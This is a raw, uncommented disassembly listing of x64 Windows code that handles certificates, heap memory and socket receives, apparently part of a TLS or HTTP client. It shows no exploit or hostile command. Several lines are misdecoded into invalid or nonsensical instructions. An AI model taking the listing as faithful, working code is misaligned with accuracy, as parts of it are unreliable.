mov r8, qword [rbp + 0x38]
mov r9, qword [rbp + 0x40]
mov rcx, r14
call qword [rax]
movzx ebx, byte [rbp + 0x50]
jmp 0x1400c6816
test al, al
jne 0x1400c68fd
movzx eax, byte [rsp + 0x280]
test al, al
je 0x1400c88b3
cmp al, 2
jne 0x1400c70b5
mov rax, qword [rsp + 0x288]
cmp qword [rax + 0x10], 4
jne 0x1400c68fd
mov rax, qword [rax + 8]
jmp 0x1400c70ca
mov bl, 2
cmp byte [rbp + 0x50], 2
je 0x1400c6f4b
lea rdx, [rbp + 0x48]
mov rax, qword [rbp + 0x30]
mov r8, qword [rbp + 0x38]
mov r9, qword [rbp + 0x40]
mov rcx, r14
call qword [rax]
movzx ebx, byte [rbp + 0x50]
lea rdx, [rbp + 0x28]
mov rax, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, qword [rbp + 0x20]
lea rcx, [rsp + 0x78]
call qword [rax]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rax, [rsp + 0x78]
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
mov byte [rsp + 0xb8], bl
mov qword [rsp + 0x70], 0
jmp 0x1400c6854
cmp byte [rsp + 0x281], 0
lea rax, [0x140204ba3]
jne 0x1400c68fd
cmp dword [rax], 0x70747468
jne 0x1400c68fd
jmp 0x1400c6e0e
invalid
and byte [rbp + 0x31], cl
invalid
rcl dword [rax], 0x4d
xor ecx, eax
rol r9, 0x15
xor r10, r11
add r8, r10
rol r10, 0x11
mov rsi, r8
rol rsi, 0x20
xor rsi, r10
xor rsi, r9
xor rsi, r8
mov rdi, qword [rdx + 0x10]
mov rbx, qword [rdx + 0x18]
mov rax, rsi
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
xor r13d, r13d
and rsi, rbx
movdqu xmm10, xmmword [rdi + rsi]
movdqa xmm0, xmm9
pcmpeqb xmm0, xmm10
pmovmskb r15d, xmm0
test r15d, r15d
jne 0x1400c73bf
pcmpeqb xmm10, xmm6
pmovmskb eax, xmm10
ret 0xc085
lea r14, [rsp + 0x20]
jne 0x1400c68fd
ret 0xc085
add rsi, r13
add rsi, 0x10
add r13, 0x10
jmp 0x1400c736f
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
test ax, ax
je 0x1400c738c
tzcnt eax, r15d
add rax, rsi
and rax, rbx
neg rax
imul r14, rax, 0x68
cmp qword [rdi + r14 - 0x58], r12
invalid
invalid
test al, 0x75
invalid
invalid
add r14, rdi
mov rdx, qword [r14 - 0x68]
mov rcx, qword [rsp + 0x50]
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400c73b0
cmp qword [r14 - 0x50], 0
je 0x1400c745a
mov bl, 2
cmp byte [r14 - 8], 2
je 0x1400c741c
lea rdx, [r14 - 0x10]
mov rax, qword [r14 - 0x28]
mov r8, qword [r14 - 0x20]
mov r9, qword [r14 - 0x18]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
call qword [rax]
movzx ebx, byte [r14 - 8]
lea rdx, [r14 - 0x30]
mov rax, qword [r14 - 0x48]
mov r8, qword [r14 - 0x40]
mov r9, qword [r14 - 0x38]
lea rsi, [rsp + 0x78]
mov rcx, rsi
call qword [rax]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x30], xmm1
movups xmmword [rsi + 0x20], xmm0
mov byte [rsp + 0xb8], bl
mov qword [rsp + 0x70], 1
jmp 0x1400c74bb
mov bl, 2
cmp byte [r14 - 8], 2
je 0x1400c747f
lea rdx, [r14 - 0x10]
mov rax, qword [r14 - 0x28]
mov r8, qword [r14 - 0x20]
mov r9, qword [r14 - 0x18]
lea rcx, [rsp + 0x20]
call qword [rax]
movzx ebx, byte [r14 - 8]
lea rdx, [r14 - 0x30]
mov rax, qword [r14 - 0x48]
mov r8, qword [r14 - 0x40]
mov r9, qword [r14 - 0x38]
lea rsi, [rsp + 0x78]
mov rcx, rsi
call qword [rax]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x30], xmm1
movups xmmword [rsi + 0x20], xmm0
mov byte [rsp + 0xb8], bl
mov qword [rsp + 0x70], 0
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x148], al
mov eax, dword [rsp + 0xb9]
mov dword [rsp + 0x149], eax
movzx eax, word [rsp + 0xbd]
mov word [rsp + 0x14d], ax
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
movdqu xmm0, xmmword [rsp + 0x80]
movdqu xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x130], xmm2
add byte [rax], al
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
lea r14, [rsp + 0x20]
jmp 0x1400c68ee
mov r9b, 1
mov rdx, rax
xor r8d, r8d
jmp 0x1400c6a50
mov rbx, qword [rsp + 0x1a0]
lock inc qword [rbx]
jle 0x1400c88cd
mov r13, qword [rsp + 0x1a8]
mov rbp, qword [rsp + 0x1b0]
lock inc qword [r13]
jle 0x1400c88cd
cmp qword [rsp + 0x180], 0
je 0x1400c75d0
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x378], rax
mov r15d, 1
jmp 0x1400c75d3
xor r15d, r15d
mov rcx, qword [rsp + 0x190]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edi, byte [rsp + 0x19c]
movzx r14d, byte [rsp + 0x19d]
movq xmm9, qword [rsp + 0x198]
mov rsi, qword [rsp + 0x1f0]
lock inc qword [rsi]
jle 0x1400c88cd
mov r12, rax
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x1f9]
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x158], al
mov al, 2
cmp byte [rsp + 0x1e8], 2
je 0x1400c7681
mov rax, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
mov r9, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x1e0]
call qword [rax]
movzx eax, byte [rsp + 0x1e8]
mov byte [rsp + 0x278], al
mov qword [rsp + 0x50], r15
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
lea rax, [rsp + 0x104]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmm3, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0xa0], xmm3
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x20], xmm0
movaps xmmword [rsp + 0x30], xmm1
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c7754
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c88d1
mov qword [0x140215360], rax
mov r8d, 0x538
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c88d1
mov r15, rax
mov rax, qword [rsp + 0x50]
mov qword [r15], rax
mov rax, qword [rsp + 0x378]
mov qword [r15 + 8], rax
mov qword [r15 + 0x10], r12
movd dword [r15 + 0x18], xmm9
mov byte [r15 + 0x1c], dil
mov byte [r15 + 0x1d], r14b
mov qword [r15 + 0x20], rbx
mov qword [r15 + 0x28], r13
mov qword [r15 + 0x30], rbp
mov rcx, qword [rsp + 0x300]
mov qword [r15 + 0x38], rcx
mov eax, dword [rsp + 0x6c]
mov dword [r15 + 0x40], eax
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [r15 + 0x44], xmm0
movups xmmword [r15 + 0x54], xmm1
mov eax, dword [rsp + 0x40]
mov dword [r15 + 0x64], eax
movzx eax, byte [rsp + 0x278]
mov byte [r15 + 0x68], al
mov qword [r15 + 0x70], rsi
movzx eax, byte [rsp + 0x60]
mov byte [r15 + 0x78], al
movzx eax, byte [rsp + 0x168]
mov byte [r15 + 0x79], al
movzx eax, byte [rsp + 0x158]
mov byte [r15 + 0x7a], al
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movups xmmword [r15 + 0x80], xmm0
movdqu xmmword [r15 + 0x90], xmm1
movups xmmword [r15 + 0xa0], xmm2
movups xmmword [r15 + 0xb0], xmm3
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [r15 + 0xc0], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [r15 + 0xd0], rax
mov word [r15 + 0x250], 0
mov qword [r15 + 0x258], rcx
mov eax, dword [rsp + 0x5c]
mov dword [r15 + 0x260], eax
mov byte [r15 + 0x268], 0
lea rbx, case.0x14010461e.55
mov r12, qword [rsp + 0x268]
mov rax, qword [r12]
lea rcx, [rax - 1]
cmp rax, 2
mov eax, 0
cmovae rax, rcx
cmp rax, 1
mov r14, qword [rsp + 0x270]
lea r13, [rsp + 0x1f8]
je 0x1400c7990
test rax, rax
jne 0x1400c7a96
mov rax, qword [r14 + 0x100]
lock dec qword [rax]
jne 0x1400c79d0
mov rcx, qword [r14 + 0x100]
call fcn.1400a6150
mov rax, qword [r14 + 0x108]
lock dec qword [rax]
je 0x1400c79e1
cmp qword [r12], 0
je 0x1400c7915
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rax]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [r14 + 0xf0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [r14 + 0x150]
lock dec qword [rax]
jne 0x1400c7a10
mov rcx, qword [r14 + 0x150]
call fcn.1400a60f0
cmp byte [r14 + 0x148], 2
je 0x1400c7a1e
mov rax, qword [r14 + 0x128]
mov rdx, qword [r14 + 0x130]
mov r8, qword [r14 + 0x138]
mov rcx, qword [rsp + 0x360]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x2f8]
cmp byte [rax], 2
jae 0x1400c7a2b
jmp 0x1400c7a56
mov rdi, qword [r14 + 0xe8]
mov rsi, qword [r14 + 0xf0]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c7a96
cmp qword [rsi + 0x10], 0x11
jb 0x1400c79b9
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400c7a96
mov rax, qword [r14 + 0x108]
lock dec qword [rax]
jne 0x1400c78fd
mov rcx, qword [r14 + 0x108]
mov rdx, qword [r14 + 0x110]
call fcn.140069a20
cmp qword [r12], 0
jne 0x1400c7904
jmp 0x1400c7915
cmp byte [r14 + 0x148], 2
jne 0x1400c794f
mov rax, qword [rsp + 0x2f8]
cmp byte [rax], 2
jb 0x1400c7a56
mov rdi, qword [r14 + 0x168]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [r14 + 0x170]
mov rdx, qword [r14 + 0x178]
mov r8, qword [r14 + 0x180]
mov rcx, qword [rsp + 0x370]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [r14 + 0x190]
mov rdx, qword [r14 + 0x198]
mov r8, qword [r14 + 0x1a0]
mov rcx, qword [rsp + 0x368]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [r12], 2
mov qword [r14 + 0xe8], r15
mov qword [r14 + 0xf0], rbx
mov rax, qword [rsp + 0x1a0]
lock dec qword [rax]
jne 0x1400c7b60
mov rcx, qword [rsp + 0x1a0]
call fcn.1400a6150
mov rax, qword [rsp + 0x1a8]
lock dec qword [rax]
je 0x1400c7b72
cmp qword [rsp + 0x180], 0
je 0x1400c7af6
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsp + 0x190]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsp + 0x1f0]
lock dec qword [rax]
jne 0x1400c7b21
mov rcx, qword [rsp + 0x1f0]
call fcn.1400a60f0
cmp byte [rsp + 0x1e8], 2
je 0x1400c6600
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x1e0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400c6600
mov rax, qword [rsp + 0x1a8]
lock dec qword [rax]
jne 0x1400c7add
mov rcx, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1b0]
call fcn.140069a20
cmp qword [rsp + 0x180], 0
jne 0x1400c7ae8
jmp 0x1400c7af6
mov rbx, qword [rsp + 0x1a0]
lock inc qword [rbx]
jle 0x1400c88cd
mov r13, qword [rsp + 0x1a8]
mov rbp, qword [rsp + 0x1b0]
lock inc qword [r13]
jle 0x1400c88cd
cmp qword [rsp + 0x158], 0
je 0x1400c7bf1
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x278], rax
mov r14d, 1
jmp 0x1400c7bf4
xor r14d, r14d
mov rcx, qword [rsp + 0x190]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r12, rax
movzx esi, byte [rsp + 0x19c]
movzx edi, byte [rsp + 0x19d]
movq xmm9, qword [rsp + 0x198]
mov rax, qword [rsp + 0x168]
lock inc qword [rax]
jle 0x1400c88cd
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x1f9]
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x158], al
mov al, 2
cmp byte [rsp + 0x1e8], 2
je 0x1400c7c93
mov rax, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
mov r9, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x1e0]
call qword [rax]
movzx eax, byte [rsp + 0x1e8]
mov byte [rsp + 0x6c], al
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
lea rax, [rsp + 0x24]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0x280]
movaps xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmm3, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0xa0], xmm3
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x320], xmm0
movaps xmmword [rsp + 0x330], xmm1
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x340], eax
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c7d5b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c8916
mov qword [0x140215360], rax
mov r8d, 0x4cf8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c8916
mov r15, rax
mov qword [rax], r14
mov rax, qword [rsp + 0x278]
mov qword [r15 + 8], rax
mov qword [r15 + 0x10], r12
movd dword [r15 + 0x18], xmm9
mov byte [r15 + 0x1c], sil
mov byte [r15 + 0x1d], dil
mov qword [r15 + 0x20], rbx
mov qword [r15 + 0x28], r13
mov qword [r15 + 0x30], rbp
mov rdx, qword [rsp + 0x300]
mov qword [r15 + 0x38], rdx
mov ecx, dword [rsp + 0x5c]
mov dword [r15 + 0x40], ecx
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [r15 + 0x44], xmm0
movups xmmword [r15 + 0x54], xmm1
mov eax, dword [rsp + 0x340]
mov dword [r15 + 0x64], eax
movzx eax, byte [rsp + 0x6c]
mov byte [r15 + 0x68], al
mov rax, qword [rsp + 0x168]
mov qword [r15 + 0x70], rax
movzx eax, byte [rsp + 0x50]
mov byte [r15 + 0x78], al
movzx eax, byte [rsp + 0x60]
mov byte [r15 + 0x79], al
movzx eax, byte [rsp + 0x158]
mov byte [r15 + 0x7a], al
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [r15 + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmm2, xmmword [rsp + 0x120]
movaps xmm3, xmmword [rsp + 0x130]
movups xmmword [r15 + 0xb0], xmm3
movups xmmword [r15 + 0xa0], xmm2
movups xmmword [r15 + 0x90], xmm1
movups xmmword [r15 + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movups xmmword [r15 + 0xd0], xmm0
movdqu xmmword [r15 + 0xe0], xmm1
movups xmmword [r15 + 0xf0], xmm2
movups xmmword [r15 + 0x100], xmm3
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [r15 + 0x110], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [r15 + 0x120], rax
mov byte [r15 + 0x2d2], 0
mov qword [r15 + 0x2638], rdx
mov dword [r15 + 0x2640], ecx
mov byte [r15 + 0x2648], 0
lea rbx, [0x1401d9268]
jmp 0x1400c788f
cmp rax, 1
jne 0x1400c88fc
mov rdx, qword [r14 + 0xe8]
mov rax, qword [r14 + 0xf0]
lea rcx, [rsp + 0x308]
mov r8, qword [rsp + 0x2e8]
call qword [rax + 0x18]
movzx r13d, byte [rsp + 0x319]
cmp r13, 3
je 0x1400c8620
cmp dword [r12], 4
je 0x1400c89b0
mov r14, qword [rsp + 0x308]
mov rbx, qword [rsp + 0x310]
movzx ebp, byte [rsp + 0x318]
mov edi, dword [rsp + 0x31a]
movzx esi, word [rsp + 0x31e]
mov rcx, r12
call fcn.1400c56e0
mov qword [r12], 4
cmp r13b, 2
jne 0x1400c7fd0
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c7f9f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c899f
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c899f
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 7
mov qword [rax], r14
mov qword [rax + 8], rbx
mov r14, rax
jmp 0x1400c7fdf
shl rsi, 0x20
or rsi, rdi
mov qword [rsp + 0x358], rsi
mov rax, qword [rsp + 0x150]
mov rsi, qword [rax]
cmp rsi, 2
je 0x1400c89ba
mov r8d, 0xd8
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0x160]
call sub.VCRUNTIME140.dll_memcpy
cmp dword [r12], 4
je 0x1400c801e
mov rcx, r12
call fcn.1400c56e0
mov r8d, 0xd8
lea rdi, [rsp + 0x538]
mov rcx, rdi
lea rdx, [rsp + 0x180]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x150]
mov qword [rax], 2
mov qword [rsp + 0x458], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x460]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp r13b, 2
je 0x1400c8631
mov qword [rsp + 0x180], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x188]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rsp + 0x70]
mov rcx, rsi
mov rdx, r14
call qword [rbx + 0x50]
mov byte [rsp + 0x60], bpl
mov byte [rsp + 0x89], bpl
mov r15, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
movzx r12d, byte [rsp + 0x88]
lea rcx, [rsp + 0x78]
mov eax, dword [rcx + 0x11]
mov ecx, dword [rcx + 0x14]
mov dword [rsp + 0x280], eax
mov dword [rsp + 0x283], ecx
test r13b, r13b
je 0x1400c81c5
mov rcx, rsi
mov rdx, r14
call qword [rbx + 0x78]
cmp qword [rsp + 0x70], 0
je 0x1400c81c5
test r15, r15
je 0x1400c8165
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c8131
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c89f4
mov qword [0x140215360], rax
mov r8d, 0x28
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c89f4
mov rcx, rax
mov qword [rax], r15
mov qword [rax + 8], rbp
add rax, 0x10
lea rbp, [0x1401d6770]
mov r15, rcx
jmp 0x1400c81b2
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c818e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c8a05
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rbp, [0x1401d2490]
mov r15, rax
test rax, rax
je 0x1400c8a05
lea rdx, [rsp + 0x78]
mov rcx, qword [rdx + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
mov eax, dword [rsp + 0x280]
mov ecx, dword [rsp + 0x283]
mov dword [rsp + 0x23], ecx
mov dword [rsp + 0x20], eax
movzx eax, byte [rsp + 0x258]
mov ecx, r12d
or cl, al
jne 0x1400c8340
lea rcx, [rsp + 0x1f8]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rcx + 0x10]
movups xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x280]
lea rsi, [rsp + 0x70]
mov r8, rsi
mov r9b, 1
call fcn.1400c8a30
mov rcx, rsi
call fcn.1400c57d0
cmp byte [rsp + 0x280], 3
jne 0x1400c8390
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c8282
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c899f
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c899f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x17
mov rcx, rax
lea rdx, [0x1401d647d]
call fcn.1400b7f90
test r15, r15
je 0x1400c82f2
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x1400c82f2
cmp qword [rbp + 0x10], 0x11
jb 0x1400c82e0
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x50]
lock dec qword [rcx]
jne 0x1400c8302
call fcn.1400a6150
mov rsi, r14
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x268]
lea r13, [rsp + 0x1f8]
je 0x1400c8558
cmp qword [rbx + 0x10], 0x11
jae 0x1400c8542
mov r8, rsi
jmp 0x1400c8549
lea rdx, [rsp + 0x1f8]
mov rcx, qword [rdx + 0x40]
mov qword [rsp + 0x130], rcx
movups xmm0, xmmword [rdx + 0x10]
movups xmm1, xmmword [rdx + 0x20]
movups xmm2, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x120], xmm2
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
test r12b, r12b
je 0x1400c83d0
test al, al
jne 0x1400c83d0
mov dword [rsp + 0x5c], 0
jmp 0x1400c83de
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
movups xmm2, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x120], xmm2
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0x200], 1
mov al, 1
mov dword [rsp + 0x5c], eax
mov r8d, 0x88
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x180]
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm9, xmmword [rsp + 0x248]
mov rsi, qword [rsp + 0x240]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c8431
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c89e3
mov qword [0x140215360], rax
mov r8d, 0x410
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c89e3
mov rdi, rax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x358]
shl rcx, 0x10
or rcx, rax
shl r13, 8
or r13, rcx
mov r8d, 0x88
mov rcx, rdi
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x88], r14
mov qword [rdi + 0x90], rbx
mov qword [rdi + 0x98], r13
mov qword [rdi + 0xa0], r15
mov qword [rdi + 0xa8], rbp
mov rax, qword [rsp + 0x50]
mov qword [rdi + 0xb0], rax
mov byte [rdi + 0xb8], r12b
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x23]
mov dword [rdi + 0xb9], eax
mov dword [rdi + 0xbc], ecx
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmm2, xmmword [rsp + 0x120]
movups xmmword [rdi + 0xc0], xmm0
movups xmmword [rdi + 0xd0], xmm1
movups xmmword [rdi + 0xe0], xmm2
mov rax, qword [rsp + 0x130]
mov qword [rdi + 0xf0], rax
movdqu xmmword [rdi + 0xf8], xmm9
mov qword [rdi + 0x108], rsi
mov eax, dword [rsp + 0x5c]
mov byte [rdi + 0x110], al
mov byte [rdi + 0x111], 0
mov bl, 4
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x268]
lea r13, [rsp + 0x1f8]
jmp 0x1400c6490
mov r8, rsi
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x240]
test rax, rax
je 0x1400c8578
lock dec qword [rax]
jne 0x1400c8578
lea rcx, [rsp + 0x240]
call fcn.1400b8840
mov rax, qword [rsp + 0x1e8]
test rax, rax
je 0x1400c85a0
lock dec qword [rax]
jne 0x1400c85a0
mov rcx, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1f0]
call fcn.140069a20
mov rax, qword [rsp + 0x248]
mov bl, 2
test rax, rax
je 0x1400c6490
lock dec qword [rax]
jne 0x1400c6490
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
call fcn.140069a20
jmp 0x1400c6490
cmp rcx, 1
jne 0x1400c8985
movzx ebx, byte [r14 + 0x78]
cmp bl, 4
jne 0x1400c86b5
mov rax, qword [rsp + 0x160]
mov rdx, qword [rax]
lea rcx, [rsp + 0x180]
mov r8, qword [rsp + 0x2e8]
call fcn.1400c9260
movzx ebx, byte [rsp + 0x1f0]
cmp bl, 3
jne 0x1400c8739
mov rax, qword [rsp + 0x260]
mov byte [rax + 0x70], 3
jmp 0x1400c885a
lea rcx, [rsp + 0x4e0]
call fcn.1400c57d0
mov rax, qword [rsp + 0x518]
test rax, rax
je 0x1400c865e
lock dec qword [rax]
jne 0x1400c865e
lea rcx, [rsp + 0x518]
call fcn.1400b8840
mov rax, qword [rsp + 0x4c0]
test rax, rax
je 0x1400c8686
